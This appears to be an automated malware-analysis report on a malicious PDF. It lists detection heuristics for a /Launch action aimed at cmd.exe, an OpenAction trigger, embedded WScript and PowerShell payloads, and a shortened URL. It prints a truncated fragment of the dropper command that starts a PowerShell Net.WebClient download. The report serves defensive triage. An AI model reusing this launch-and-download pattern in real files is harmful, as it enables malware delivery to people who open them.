MALICIOUS
332
Risk Score
Machine Learning
- Nyx PDF Classifier malicious score 0.9968
Heuristics 8
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Launch action critical PDF_LAUNCHPDF contains a /Launch action whose target is an executable, URL, or UNC path — can start an external application
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/Launch action target: cmd.exe critical PDF_LAUNCH_COMMANDPDF /Launch action specifies an executable target with parameters '/c cD %tEMP% &@echo powershell -Command "(New-Object Net.WebClient' — references a known-dangerous executable (cmd, PowerShell, etc.).
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OpenAction trigger high PDF_OPENACTIONPDF has an /OpenAction that launches, submits, or opens an external target
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Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOADPDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
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PDF JavaScript embeds a Windows Script Host payload high PDF_JS_WSCRIPT_PAYLOADPDF JavaScript contains a Windows Script Host/JScript payload using WScript.CreateObject and WScript.Shell with environment, run/exec, registry, sleep, or downloader-adjacent behavior. This is suspicious payload delivery but is not attributed to a specific Acrobat CVE unless a parser/API trigger is also found.
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LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMANDExtracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
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Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL https://tinyurl.com/3unw99cy In PDF document text
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
embedded_pdf_script_0000016a.bin |
pdf-embedded-script | PDF decompressed stream script payload at offset 0x16A | 66 bytes |
SHA-256: 1838e3b06a1789712530f7229448c15cd27990882b50f5a343b5824148e54dbc |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 shell/COM execution token(s).
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Preview scriptFirst 1,000 lines of the extracted script
/c cD %tEMP% &@echo powershell -Command "(New-Object Net.WebClient |
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